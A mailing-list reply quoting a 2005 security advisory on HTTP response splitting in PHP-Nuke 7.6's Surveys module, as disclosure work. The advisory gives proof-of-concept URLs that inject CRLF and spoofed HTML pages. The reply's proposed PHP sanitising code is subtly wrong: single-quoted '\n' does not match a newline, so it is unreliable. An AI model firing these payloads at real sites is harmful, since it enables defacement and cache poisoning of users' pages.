Re: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
In-Reply-To: <20050416033018.9721.qmail@xxxxxxxxxxxxxxxxxxxxx>
"Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string()
and other functions for input validation before passing user input
to the mysql database, or before echoing data on the screen, would solve these
problems."
The htmlspecialchars() would most definately keep the html code from being
rendered, but would it really fix http response splitting?
Maybe something like this would work better?
$location = str_replace('\n', '', urldecode($location));
$location = str_replace('\r', '', urldecode($location));
$location = str_replace('&', '&', htmlspecialchars($location));
James
>Dcrab 's Security Advisory
>[Hsc Security Group] http://www.hackerscenter.com/
>[dP Security] http://digitalparadox.org/
>
>Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn
>more at http://www.digitalparadox.org/services.ah
>
>Severity: High
>Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
>Date: 15/04/2005
>
>Vendor: Php-Nuke
>Vendor Website: http://www.phpnuke.org
>Summary: There are, http response splitting vulnerability in php-nuke 7.6 and
>below.
>
>Proof of Concept Exploits:
>
>MORE DETAILS OF THIS SORT OF BUG CAN BE FOUND AT
>www.digitalparadox.org/papers.ah
>
>A simple POC can be as follows,
>
>http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO
> I AM VULNERABLE TO HTTP RESPONSE
>SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
>
>A more serious version involving Cross user defacement, cache poisoning and
>page hijacking can be,
>
>http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This
> is a spoofed site </title> <body bgcolor=black><font size=10 color=blue>
>Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and
>can be used for great evils details about which can be read in
>http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic
>Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at}
>hackerscenter [dot] com<font
>color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
>
>
>Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
>mysql_real_escape_string() and other functions for input validation before
>passing user input to the mysql database, or before echoing data on the
>screen, would solve these problems.
>
>Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
>
>Author:
>These vulnerabilties have been found and released by Diabolic Crab, Email:
>dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me
>regarding these vulnerabilities. You can find me at,
>http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my
>soon to come out book on Secure coding with php.
>